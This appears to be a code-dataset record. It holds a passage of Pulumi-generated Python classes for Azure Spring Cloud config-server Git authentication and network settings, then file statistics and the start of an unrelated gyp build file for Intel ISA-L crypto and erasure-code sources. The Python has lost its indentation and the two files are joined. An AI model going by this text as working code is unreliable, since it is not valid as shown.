pulumi.set(__self__, "search_paths", search_paths)
if ssh_auth is not None:
pulumi.set(__self__, "ssh_auth", ssh_auth)
@property
@pulumi.getter
def name(self) -> str:
"""
A name to identify on the Git repository, required only if repos exists.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def uri(self) -> str:
"""
The URI of the Git repository that's used as the Config Server back end should be started with `http://`, `https://`, `git@`, or `ssh://`.
"""
return pulumi.get(self, "uri")
@property
@pulumi.getter(name="httpBasicAuth")
def http_basic_auth(self) -> Optional['outputs.SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuth']:
"""
A `http_basic_auth` block as defined below.
"""
return pulumi.get(self, "http_basic_auth")
@property
@pulumi.getter
def label(self) -> Optional[str]:
"""
The default label of the Git repository, should be the branch name, tag name, or commit-id of the repository.
"""
return pulumi.get(self, "label")
@property
@pulumi.getter
def patterns(self) -> Optional[Sequence[str]]:
"""
An array of strings used to match an application name. For each pattern, use the `{application}/{profile}` format with wildcards.
"""
return pulumi.get(self, "patterns")
@property
@pulumi.getter(name="searchPaths")
def search_paths(self) -> Optional[Sequence[str]]:
"""
An array of strings used to search subdirectories of the Git repository.
"""
return pulumi.get(self, "search_paths")
@property
@pulumi.getter(name="sshAuth")
def ssh_auth(self) -> Optional['outputs.SpringCloudServiceConfigServerGitSettingRepositorySshAuth']:
"""
A `ssh_auth` block as defined below.
"""
return pulumi.get(self, "ssh_auth")
def _translate_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
@pulumi.output_type
class SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuth(dict):
def __init__(__self__, *,
password: str,
username: str):
"""
:param str password: The password used to access the Git repository server, required when the Git repository server supports Http Basic Authentication.
:param str username: The username that's used to access the Git repository server, required when the Git repository server supports Http Basic Authentication.
"""
pulumi.set(__self__, "password", password)
pulumi.set(__self__, "username", username)
@property
@pulumi.getter
def password(self) -> str:
"""
The password used to access the Git repository server, required when the Git repository server supports Http Basic Authentication.
"""
return pulumi.get(self, "password")
@property
@pulumi.getter
def username(self) -> str:
"""
The username that's used to access the Git repository server, required when the Git repository server supports Http Basic Authentication.
"""
return pulumi.get(self, "username")
def _translate_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
@pulumi.output_type
class SpringCloudServiceConfigServerGitSettingRepositorySshAuth(dict):
def __init__(__self__, *,
private_key: str,
host_key: Optional[str] = None,
host_key_algorithm: Optional[str] = None,
strict_host_key_checking_enabled: Optional[bool] = None):
"""
:param str private_key: The SSH private key to access the Git repository, required when the URI starts with `git@` or `ssh://`.
:param str host_key: The host key of the Git repository server, should not include the algorithm prefix as covered by `host-key-algorithm`.
:param str host_key_algorithm: The host key algorithm, should be `ssh-dss`, `ssh-rsa`, `ecdsa-sha2-nistp256`, `ecdsa-sha2-nistp384`, or `ecdsa-sha2-nistp521`. Required only if `host-key` exists.
:param bool strict_host_key_checking_enabled: Indicates whether the Config Server instance will fail to start if the host_key does not match.
"""
pulumi.set(__self__, "private_key", private_key)
if host_key is not None:
pulumi.set(__self__, "host_key", host_key)
if host_key_algorithm is not None:
pulumi.set(__self__, "host_key_algorithm", host_key_algorithm)
if strict_host_key_checking_enabled is not None:
pulumi.set(__self__, "strict_host_key_checking_enabled", strict_host_key_checking_enabled)
@property
@pulumi.getter(name="privateKey")
def private_key(self) -> str:
"""
The SSH private key to access the Git repository, required when the URI starts with `git@` or `ssh://`.
"""
return pulumi.get(self, "private_key")
@property
@pulumi.getter(name="hostKey")
def host_key(self) -> Optional[str]:
"""
The host key of the Git repository server, should not include the algorithm prefix as covered by `host-key-algorithm`.
"""
return pulumi.get(self, "host_key")
@property
@pulumi.getter(name="hostKeyAlgorithm")
def host_key_algorithm(self) -> Optional[str]:
"""
The host key algorithm, should be `ssh-dss`, `ssh-rsa`, `ecdsa-sha2-nistp256`, `ecdsa-sha2-nistp384`, or `ecdsa-sha2-nistp521`. Required only if `host-key` exists.
"""
return pulumi.get(self, "host_key_algorithm")
@property
@pulumi.getter(name="strictHostKeyCheckingEnabled")
def strict_host_key_checking_enabled(self) -> Optional[bool]:
"""
Indicates whether the Config Server instance will fail to start if the host_key does not match.
"""
return pulumi.get(self, "strict_host_key_checking_enabled")
def _translate_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
@pulumi.output_type
class SpringCloudServiceConfigServerGitSettingSshAuth(dict):
def __init__(__self__, *,
private_key: str,
host_key: Optional[str] = None,
host_key_algorithm: Optional[str] = None,
strict_host_key_checking_enabled: Optional[bool] = None):
"""
:param str private_key: The SSH private key to access the Git repository, required when the URI starts with `git@` or `ssh://`.
:param str host_key: The host key of the Git repository server, should not include the algorithm prefix as covered by `host-key-algorithm`.
:param str host_key_algorithm: The host key algorithm, should be `ssh-dss`, `ssh-rsa`, `ecdsa-sha2-nistp256`, `ecdsa-sha2-nistp384`, or `ecdsa-sha2-nistp521`. Required only if `host-key` exists.
:param bool strict_host_key_checking_enabled: Indicates whether the Config Server instance will fail to start if the host_key does not match.
"""
pulumi.set(__self__, "private_key", private_key)
if host_key is not None:
pulumi.set(__self__, "host_key", host_key)
if host_key_algorithm is not None:
pulumi.set(__self__, "host_key_algorithm", host_key_algorithm)
if strict_host_key_checking_enabled is not None:
pulumi.set(__self__, "strict_host_key_checking_enabled", strict_host_key_checking_enabled)
@property
@pulumi.getter(name="privateKey")
def private_key(self) -> str:
"""
The SSH private key to access the Git repository, required when the URI starts with `git@` or `ssh://`.
"""
return pulumi.get(self, "private_key")
@property
@pulumi.getter(name="hostKey")
def host_key(self) -> Optional[str]:
"""
The host key of the Git repository server, should not include the algorithm prefix as covered by `host-key-algorithm`.
"""
return pulumi.get(self, "host_key")
@property
@pulumi.getter(name="hostKeyAlgorithm")
def host_key_algorithm(self) -> Optional[str]:
"""
The host key algorithm, should be `ssh-dss`, `ssh-rsa`, `ecdsa-sha2-nistp256`, `ecdsa-sha2-nistp384`, or `ecdsa-sha2-nistp521`. Required only if `host-key` exists.
"""
return pulumi.get(self, "host_key_algorithm")
@property
@pulumi.getter(name="strictHostKeyCheckingEnabled")
def strict_host_key_checking_enabled(self) -> Optional[bool]:
"""
Indicates whether the Config Server instance will fail to start if the host_key does not match.
"""
return pulumi.get(self, "strict_host_key_checking_enabled")
def _translate_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
@pulumi.output_type
class SpringCloudServiceNetwork(dict):
def __init__(__self__, *,
app_subnet_id: str,
cidr_ranges: Sequence[str],
service_runtime_subnet_id: str,
app_network_resource_group: Optional[str] = None,
service_runtime_network_resource_group: Optional[str] = None):
"""
:param str app_subnet_id: Specifies the ID of the Subnet which should host the Spring Boot Applications deployed in this Spring Cloud Service. Changing this forces a new resource to be created.
:param Sequence[str] cidr_ranges: A list of (at least 3) CIDR ranges (at least /16) which are used to host the Spring Cloud infrastructure, which must not overlap with any existing CIDR ranges in the Subnet. Changing this forces a new resource to be created.
:param str service_runtime_subnet_id: Specifies the ID of the Subnet where the Service Runtime components of the Spring Cloud Service will exist. Changing this forces a new resource to be created.
:param str app_network_resource_group: Specifies the Name of the resource group containing network resources of Azure Spring Cloud Apps. Changing this forces a new resource to be created.
:param str service_runtime_network_resource_group: Specifies the Name of the resource group containing network resources of Azure Spring Cloud Service Runtime. Changing this forces a new resource to be created.
"""
pulumi.set(__self__, "app_subnet_id", app_subnet_id)
pulumi.set(__self__, "cidr_ranges", cidr_ranges)
pulumi.set(__self__, "service_runtime_subnet_id", service_runtime_subnet_id)
if app_network_resource_group is not None:
pulumi.set(__self__, "app_network_resource_group", app_network_resource_group)
if service_runtime_network_resource_group is not None:
pulumi.set(__self__, "service_runtime_network_resource_group", service_runtime_network_resource_group)
@property
@pulumi.getter(name="appSubnetId")
def app_subnet_id(self) -> str:
"""
Specifies the ID of the Subnet which should host the Spring Boot Applications deployed in this Spring Cloud Service. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "app_subnet_id")
@property
@pulumi.getter(name="cidrRanges")
def cidr_ranges(self) -> Sequence[str]:
"""
A list of (at least 3) CIDR ranges (at least /16) which are used to host the Spring Cloud infrastructure, which must not overlap with any existing CIDR ranges in the Subnet. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "cidr_ranges")
@property
@pulumi.getter(name="serviceRuntimeSubnetId")
def service_runtime_subnet_id(self) -> str:
"""
Specifies the ID of the Subnet where the Service Runtime components of the Spring Cloud Service will exist. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "service_runtime_subnet_id")
@property
@pulumi.getter(name="appNetworkResourceGroup")
def app_network_resource_group(self) -> Optional[str]:
"""
Specifies the Name of the resource group containing network resources of Azure Spring Cloud Apps. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "app_network_resource_group")
@property
@pulumi.getter(name="serviceRuntimeNetworkResourceGroup")
def service_runtime_network_resource_group(self) -> Optional[str]:
"""
Specifies the Name of the resource group containing network resources of Azure Spring Cloud Service Runtime. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "service_runtime_network_resource_group")
def _translate_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
@pulumi.output_type
class SpringCloudServiceTrace(dict):
def __init__(__self__, *,
instrumentation_key: str):
"""
:param str instrumentation_key: The Instrumentation Key used for Application Insights.
"""
pulumi.set(__self__, "instrumentation_key", instrumentation_key)
@property
@pulumi.getter(name="instrumentationKey")
def instrumentation_key(self) -> str:
"""
The Instrumentation Key used for Application Insights.
"""
return pulumi.get(self, "instrumentation_key")
def _translate_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
@pulumi.output_type
class GetSpringCloudServiceConfigServerGitSettingResult(dict):
def __init__(__self__, *,
http_basic_auths: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthResult'],
label: str,
repositories: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositoryResult'],
search_paths: Sequence[str],
ssh_auths: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingSshAuthResult'],
uri: str):
"""
:param Sequence['GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthArgs'] http_basic_auths: A `http_basic_auth` block as defined below.
:param str label: The default label of the Git repository, which is a branch name, tag name, or commit-id of the repository
:param Sequence['GetSpringCloudServiceConfigServerGitSettingRepositoryArgs'] repositories: One or more `repository` blocks as defined below.
:param Sequence[str] search_paths: An array of strings used to search subdirectories of the Git repository.
:param Sequence['GetSpringCloudServiceConfigServerGitSettingSshAuthArgs'] ssh_auths: A `ssh_auth` block as defined below.
:param str uri: The URI of the Git repository
"""
pulumi.set(__self__, "http_basic_auths", http_basic_auths)
pulumi.set(__self__, "label", label)
pulumi.set(__self__, "repositories", repositories)
pulumi.set(__self__, "search_paths", search_paths)
pulumi.set(__self__, "ssh_auths", ssh_auths)
pulumi.set(__self__, "uri", uri)
@property
@pulumi.getter(name="httpBasicAuths")
def http_basic_auths(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthResult']:
"""
A `http_basic_auth` block as defined below.
"""
return pulumi.get(self, "http_basic_auths")
@property
@pulumi.getter
def label(self) -> str:
"""
The default label of the Git repository, which is a branch name, tag name, or commit-id of the repository
"""
return pulumi.get(self, "label")
@property
@pulumi.getter
def repositories(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositoryResult']:
"""
One or more `repository` blocks as defined below.
"""
return pulumi.get(self, "repositories")
@property
@pulumi.getter(name="searchPaths")
def search_paths(self) -> Sequence[str]:
"""
An array of strings used to search subdirectories of the Git repository.
"""
return pulumi.get(self, "search_paths")
@property
@pulumi.getter(name="sshAuths")
def ssh_auths(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingSshAuthResult']:
"""
A `ssh_auth` block as defined below.
"""
return pulumi.get(self, "ssh_auths")
@property
@pulumi.getter
def uri(self) -> str:
"""
The URI of the Git repository
"""
return pulumi.get(self, "uri")
@pulumi.output_type
class GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthResult(dict):
def __init__(__self__, *,
password: str,
username: str):
"""
:param str password: The password used to access the Http Basic Authentication Git repository server.
:param str username: The username used to access the Http Basic Authentication Git repository server.
"""
pulumi.set(__self__, "password", password)
pulumi.set(__self__, "username", username)
@property
@pulumi.getter
def password(self) -> str:
"""
The password used to access the Http Basic Authentication Git repository server.
"""
return pulumi.get(self, "password")
@property
@pulumi.getter
def username(self) -> str:
"""
The username used to access the Http Basic Authentication Git repository server.
"""
return pulumi.get(self, "username")
@pulumi.output_type
class GetSpringCloudServiceConfigServerGitSettingRepositoryResult(dict):
def __init__(__self__, *,
http_basic_auths: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthResult'],
label: str,
name: str,
patterns: Sequence[str],
search_paths: Sequence[str],
ssh_auths: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthResult'],
uri: str):
"""
:param Sequence['GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthArgs'] http_basic_auths: A `http_basic_auth` block as defined below.
:param str label: The default label of the Git repository, which is a branch name, tag name, or commit-id of the repository
:param str name: Specifies The name of the Spring Cloud Service resource.
:param Sequence[str] patterns: An array of strings used to match an application name. For each pattern, use the `{application}/{profile}` format with wildcards.
:param Sequence[str] search_paths: An array of strings used to search subdirectories of the Git repository.
:param Sequence['GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthArgs'] ssh_auths: A `ssh_auth` block as defined below.
:param str uri: The URI of the Git repository
"""
pulumi.set(__self__, "http_basic_auths", http_basic_auths)
pulumi.set(__self__, "label", label)
pulumi.set(__self__, "name", name)
pulumi.set(__self__, "patterns", patterns)
pulumi.set(__self__, "search_paths", search_paths)
pulumi.set(__self__, "ssh_auths", ssh_auths)
pulumi.set(__self__, "uri", uri)
@property
@pulumi.getter(name="httpBasicAuths")
def http_basic_auths(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthResult']:
"""
A `http_basic_auth` block as defined below.
"""
return pulumi.get(self, "http_basic_auths")
@property
@pulumi.getter
def label(self) -> str:
"""
The default label of the Git repository, which is a branch name, tag name, or commit-id of the repository
"""
return pulumi.get(self, "label")
@property
@pulumi.getter
def name(self) -> str:
"""
Specifies The name of the Spring Cloud Service resource.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def patterns(self) -> Sequence[str]:
"""
An array of strings used to match an application name. For each pattern, use the `{application}/{profile}` format with wildcards.
"""
return pulumi.get(self, "patterns")
@property
@pulumi.getter(name="searchPaths")
def search_paths(self) -> Sequence[str]:
"""
An array of strings used to search subdirectories of the Git repository.
"""
return pulumi.get(self, "search_paths")
@property
@pulumi.getter(name="sshAuths")
def ssh_auths(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthResult']:
"""
A `ssh_auth` block as defined below.
"""
return pulumi.get(self, "ssh_auths")
@property
@pulumi.getter
def uri(self) -> str:
"""
The URI of the Git repository
"""
return pulumi.get(self, "uri")
@pulumi.output_type
class GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthResult(dict):
def __init__(__self__, *,
password: str,
username: str):
"""
:param str password: The password used to access the Http Basic Authentication Git repository server.
:param str username: The username used to access the Http Basic Authentication Git repository server.
"""
pulumi.set(__self__, "password", password)
pulumi.set(__self__, "username", username)
@property
@pulumi.getter
def password(self) -> str:
"""
The password used to access the Http Basic Authentication Git repository server.
"""
return pulumi.get(self, "password")
@property
@pulumi.getter
def username(self) -> str:
"""
The username used to access the Http Basic Authentication Git repository server.
"""
return pulumi.get(self, "username")
@pulumi.output_type
class GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthResult(dict):
def __init__(__self__, *,
host_key: str,
host_key_algorithm: str,
private_key: str,
strict_host_key_checking_enabled: bool):
"""
:param str host_key: The host key of the Git repository server.
:param str host_key_algorithm: The host key algorithm.
:param str private_key: The SSH private key to access the Git repository, needed when the URI starts with `git@` or `ssh://`.
:param bool strict_host_key_checking_enabled: Indicates whether the Config Server instance will fail to start if the host_key does not match.
"""
pulumi.set(__self__, "host_key", host_key)
pulumi.set(__self__, "host_key_algorithm", host_key_algorithm)
pulumi.set(__self__, "private_key", private_key)
pulumi.set(__self__, "strict_host_key_checking_enabled", strict_host_key_checking_enabled)
@property
@pulumi.getter(name="hostKey")
def host_key(self) -> str:
"""
The host key of the Git repository server.
"""
return pulumi.get(self, "host_key")
@property
@pulumi.getter(name="hostKeyAlgorithm")
def host_key_algorithm(self) -> str:
"""
The host key algorithm.
"""
return pulumi.get(self, "host_key_algorithm")
@property
@pulumi.getter(name="privateKey")
def private_key(self) -> str:
"""
The SSH private key to access the Git repository, needed when the URI starts with `git@` or `ssh://`.
"""
return pulumi.get(self, "private_key")
@property
@pulumi.getter(name="strictHostKeyCheckingEnabled")
def strict_host_key_checking_enabled(self) -> bool:
"""
Indicates whether the Config Server instance will fail to start if the host_key does not match.
"""
return pulumi.get(self, "strict_host_key_checking_enabled")
@pulumi.output_type
class GetSpringCloudServiceConfigServerGitSettingSshAuthResult(dict):
def __init__(__self__, *,
host_key: str,
host_key_algorithm: str,
private_key: str,
strict_host_key_checking_enabled: bool):
"""
:param str host_key: The host key of the Git repository server.
:param str host_key_algorithm: The host key algorithm.
:param str private_key: The SSH private key to access the Git repository, needed when the URI starts with `git@` or `ssh://`.
:param bool strict_host_key_checking_enabled: Indicates whether the Config Server instance will fail to start if the host_key does not match.
"""
pulumi.set(__self__, "host_key", host_key)
pulumi.set(__self__, "host_key_algorithm", host_key_algorithm)
pulumi.set(__self__, "private_key", private_key)
pulumi.set(__self__, "strict_host_key_checking_enabled", strict_host_key_checking_enabled)
@property
@pulumi.getter(name="hostKey")
def host_key(self) -> str:
"""
The host key of the Git repository server.
"""
return pulumi.get(self, "host_key")
@property
@pulumi.getter(name="hostKeyAlgorithm")
def host_key_algorithm(self) -> str:
"""
The host key algorithm.
"""
return pulumi.get(self, "host_key_algorithm")
@property
@pulumi.getter(name="privateKey")
def private_key(self) -> str:
"""
The SSH private key to access the Git repository, needed when the URI starts with `git@` or `ssh://`.
"""
return pulumi.get(self, "private_key")
@property
@pulumi.getter(name="strictHostKeyCheckingEnabled")
def strict_host_key_checking_enabled(self) -> bool:
"""
Indicates whether the Config Server instance will fail to start if the host_key does not match.
"""
return pulumi.get(self, "strict_host_key_checking_enabled")
| 43.652226
| 266
| 0.674018
| 4,171
| 36,275
| 5.649245
| 0.058979
| 0.032678
| 0.032551
| 0.047575
| 0.798964
| 0.782243
| 0.771718
| 0.757671
| 0.751942
| 0.737088
| 0
| 0.001987
| 0.237023
| 36,275
| 830
| 267
| 43.704819
| 0.84937
| 0.368436
| 0
| 0.756522
| 1
| 0
| 0.193036
| 0.129442
| 0
| 0
| 0
| 0
| 0
| 1
| 0.180435
| false
| 0.034783
| 0.013043
| 0.019565
| 0.373913
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9140f8abe478606c3264e07436e8188078e2a20a
| 16,941
|
gyp
|
Python
|
src/native/third_party/isa-l.gyp
|
paulxuzhang/noobaa-core
|
a462178b8a86f3373c44e877684f73c52573d6e6
|
[
"Apache-2.0"
] | null | null | null |
src/native/third_party/isa-l.gyp
|
paulxuzhang/noobaa-core
|
a462178b8a86f3373c44e877684f73c52573d6e6
|
[
"Apache-2.0"
] | null | null | null |
src/native/third_party/isa-l.gyp
|
paulxuzhang/noobaa-core
|
a462178b8a86f3373c44e877684f73c52573d6e6
|
[
"Apache-2.0"
] | null | null | null |
# Copyright (C) 2016 NooBaa
{
'includes': ['common_third_party.gypi'],
'targets': [
{
'target_name': 'isa-l-crc',
'type': 'static_library',
'includes': ['../asm.gypi'],
'include_dirs': [
'isa-l/include/',
'isa-l/crc/',
],
'sources': [
'isa-l/crc/crc_base.c',
'isa-l/crc/crc64_base.c',
'isa-l/crc/crc16_t10dif_01.asm',
'isa-l/crc/crc16_t10dif_by4.asm',
'isa-l/crc/crc32_ieee_01.asm',
'isa-l/crc/crc32_ieee_by4.asm',
'isa-l/crc/crc32_iscsi_01.asm',
'isa-l/crc/crc32_iscsi_00.asm',
'isa-l/crc/crc_multibinary.asm',
'isa-l/crc/crc64_multibinary.asm',
'isa-l/crc/crc64_ecma_refl_by8.asm',
'isa-l/crc/crc64_ecma_norm_by8.asm',
'isa-l/crc/crc64_iso_refl_by8.asm',
'isa-l/crc/crc64_iso_norm_by8.asm',
'isa-l/crc/crc64_jones_refl_by8.asm',
'isa-l/crc/crc64_jones_norm_by8.asm',
'isa-l/crc/crc32_gzip_refl_by8.asm',
]
},
{
'target_name': 'isa-l-ec',
'type': 'static_library',
'includes': ['../asm.gypi'],
'include_dirs': [
'isa-l/include/',
'isa-l/erasure_code/',
],
'sources': [
'isa-l/erasure_code/ec_base.c',
'isa-l/erasure_code/ec_highlevel_func.c',
],
# compile asm only for x64 until we have support for ppc
# see https://github.com/intel/isa-l/issues/7
'conditions': [ [ 'node_arch=="x64"', { 'sources': [
'isa-l/erasure_code/ec_multibinary.asm',
'isa-l/erasure_code/gf_vect_mul_sse.asm',
'isa-l/erasure_code/gf_vect_dot_prod_sse.asm',
'isa-l/erasure_code/gf_2vect_dot_prod_sse.asm',
'isa-l/erasure_code/gf_3vect_dot_prod_sse.asm',
'isa-l/erasure_code/gf_4vect_dot_prod_sse.asm',
'isa-l/erasure_code/gf_5vect_dot_prod_sse.asm',
'isa-l/erasure_code/gf_6vect_dot_prod_sse.asm',
'isa-l/erasure_code/gf_vect_mad_sse.asm',
'isa-l/erasure_code/gf_2vect_mad_sse.asm',
'isa-l/erasure_code/gf_3vect_mad_sse.asm',
'isa-l/erasure_code/gf_4vect_mad_sse.asm',
'isa-l/erasure_code/gf_5vect_mad_sse.asm',
'isa-l/erasure_code/gf_6vect_mad_sse.asm',
'isa-l/erasure_code/gf_vect_mul_avx.asm',
'isa-l/erasure_code/gf_vect_dot_prod_avx.asm',
'isa-l/erasure_code/gf_2vect_dot_prod_avx.asm',
'isa-l/erasure_code/gf_3vect_dot_prod_avx.asm',
'isa-l/erasure_code/gf_4vect_dot_prod_avx.asm',
'isa-l/erasure_code/gf_5vect_dot_prod_avx.asm',
'isa-l/erasure_code/gf_6vect_dot_prod_avx.asm',
'isa-l/erasure_code/gf_vect_mad_avx.asm',
'isa-l/erasure_code/gf_2vect_mad_avx.asm',
'isa-l/erasure_code/gf_3vect_mad_avx.asm',
'isa-l/erasure_code/gf_4vect_mad_avx.asm',
'isa-l/erasure_code/gf_5vect_mad_avx.asm',
'isa-l/erasure_code/gf_6vect_mad_avx.asm',
'isa-l/erasure_code/gf_vect_dot_prod_avx2.asm',
'isa-l/erasure_code/gf_2vect_dot_prod_avx2.asm',
'isa-l/erasure_code/gf_3vect_dot_prod_avx2.asm',
'isa-l/erasure_code/gf_4vect_dot_prod_avx2.asm',
'isa-l/erasure_code/gf_5vect_dot_prod_avx2.asm',
'isa-l/erasure_code/gf_6vect_dot_prod_avx2.asm',
'isa-l/erasure_code/gf_vect_mad_avx2.asm',
'isa-l/erasure_code/gf_2vect_mad_avx2.asm',
'isa-l/erasure_code/gf_3vect_mad_avx2.asm',
'isa-l/erasure_code/gf_4vect_mad_avx2.asm',
'isa-l/erasure_code/gf_5vect_mad_avx2.asm',
'isa-l/erasure_code/gf_6vect_mad_avx2.asm',
'isa-l/erasure_code/gf_vect_dot_prod_avx512.asm',
'isa-l/erasure_code/gf_2vect_dot_prod_avx512.asm',
'isa-l/erasure_code/gf_3vect_dot_prod_avx512.asm',
'isa-l/erasure_code/gf_4vect_dot_prod_avx512.asm',
'isa-l/erasure_code/gf_vect_mad_avx512.asm',
'isa-l/erasure_code/gf_2vect_mad_avx512.asm',
'isa-l/erasure_code/gf_3vect_mad_avx512.asm',
'isa-l/erasure_code/gf_4vect_mad_avx512.asm',
]}]],
},
{
'target_name': 'isa-l-rolling-hash',
'type': 'static_library',
'includes': ['../asm.gypi'],
'include_dirs': [
'isa-l_crypto/include/',
'isa-l_crypto/rolling_hash/',
],
'sources': [
'isa-l_crypto/rolling_hash/rolling_hashx_base.c',
'isa-l_crypto/rolling_hash/rolling_hash2.c',
'isa-l_crypto/rolling_hash/rolling_hash2_until_04.asm',
'isa-l_crypto/rolling_hash/rolling_hash2_until_00.asm',
'isa-l_crypto/rolling_hash/rolling_hash2_multibinary.asm',
],
},
{
'target_name': 'isa-l-md5',
'type': 'static_library',
'includes': ['../asm.gypi'],
'include_dirs': [
'isa-l_crypto/include/',
'isa-l_crypto/md5_mb/',
],
'sources': [
# include
'isa-l_crypto/include/md5_mb.h',
'isa-l_crypto/include/types.h',
'isa-l_crypto/include/multi_buffer.h',
'isa-l_crypto/md5_mb/md5_ctx_base.c',
'isa-l_crypto/md5_mb/md5_ctx_base_aliases.c',
],
# compile asm only for x64 until we have support for ppc
# see https://github.com/intel/isa-l/issues/7
'conditions': [ [ 'node_arch=="x64"', { 'sources': [
'isa-l_crypto/include/intrinreg.h',
'isa-l_crypto/include/reg_sizes.asm',
'isa-l_crypto/include/multibinary.asm',
'isa-l_crypto/include/datastruct.asm',
# asm
'isa-l_crypto/md5_mb/md5_multibinary.asm',
'isa-l_crypto/md5_mb/md5_job.asm',
'isa-l_crypto/md5_mb/md5_mb_mgr_datastruct.asm',
# ctx
'isa-l_crypto/md5_mb/md5_ctx_sse.c',
'isa-l_crypto/md5_mb/md5_ctx_avx.c',
'isa-l_crypto/md5_mb/md5_ctx_avx2.c',
'isa-l_crypto/md5_mb/md5_ctx_avx512.c',
# mgr_init
'isa-l_crypto/md5_mb/md5_mb_mgr_init_sse.c',
'isa-l_crypto/md5_mb/md5_mb_mgr_init_avx2.c',
'isa-l_crypto/md5_mb/md5_mb_mgr_init_avx512.c',
# mgr_flush
'isa-l_crypto/md5_mb/md5_mb_mgr_flush_sse.asm',
'isa-l_crypto/md5_mb/md5_mb_mgr_flush_avx.asm',
'isa-l_crypto/md5_mb/md5_mb_mgr_flush_avx2.asm',
'isa-l_crypto/md5_mb/md5_mb_mgr_flush_avx512.asm',
# mgr_submit
'isa-l_crypto/md5_mb/md5_mb_mgr_submit_sse.asm',
'isa-l_crypto/md5_mb/md5_mb_mgr_submit_avx.asm',
'isa-l_crypto/md5_mb/md5_mb_mgr_submit_avx2.asm',
'isa-l_crypto/md5_mb/md5_mb_mgr_submit_avx512.asm',
# x4x2
'isa-l_crypto/md5_mb/md5_mb_x4x2_sse.asm',
'isa-l_crypto/md5_mb/md5_mb_x4x2_avx.asm',
'isa-l_crypto/md5_mb/md5_mb_x8x2_avx2.asm',
'isa-l_crypto/md5_mb/md5_mb_x16x2_avx512.asm',
]}]],
},
{
'target_name': 'isa-l-sha1',
'type': 'static_library',
'includes': ['../asm.gypi'],
'include_dirs': [
'isa-l_crypto/include/',
'isa-l_crypto/sha1_mb/',
],
'sources': [
'isa-l_crypto/sha1_mb/sha1_ctx_base.c',
'isa-l_crypto/sha1_mb/sha1_ctx_base_aliases.c',
],
# compile asm only for x64 until we have support for ppc
# see https://github.com/intel/isa-l/issues/7
'conditions': [ [ 'node_arch=="x64"', { 'sources': [
'isa-l_crypto/sha1_mb/sha1_ctx_sse.c',
'isa-l_crypto/sha1_mb/sha1_ctx_avx.c',
'isa-l_crypto/sha1_mb/sha1_ctx_avx2.c',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_init_sse.c',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_init_avx2.c',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_sse.asm',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_avx.asm',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_avx2.asm',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_sse.asm',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_avx.asm',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_avx2.asm',
'isa-l_crypto/sha1_mb/sha1_mb_x4_sse.asm',
'isa-l_crypto/sha1_mb/sha1_mb_x4_avx.asm',
'isa-l_crypto/sha1_mb/sha1_mb_x8_avx2.asm',
'isa-l_crypto/sha1_mb/sha1_multibinary.asm',
'isa-l_crypto/sha1_mb/sha1_ctx_avx512.c',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_init_avx512.c',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_avx512.asm',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_avx512.asm',
'isa-l_crypto/sha1_mb/sha1_mb_x16_avx512.asm',
'isa-l_crypto/sha1_mb/sha1_opt_x1.asm',
'isa-l_crypto/sha1_mb/sha1_ni_x1.asm',
'isa-l_crypto/sha1_mb/sha1_ctx_sse_ni.c',
'isa-l_crypto/sha1_mb/sha1_ctx_avx512_ni.c',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_sse_ni.asm',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_sse_ni.asm',
'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_avx512_ni.asm',
]}]],
},
{
'target_name': 'isa-l-sha256',
'type': 'static_library',
'includes': ['../asm.gypi'],
'include_dirs': [
'isa-l_crypto/include/',
'isa-l_crypto/sha256_mb/',
],
'sources': [
'isa-l_crypto/sha256_mb/sha256_ctx_sse.c',
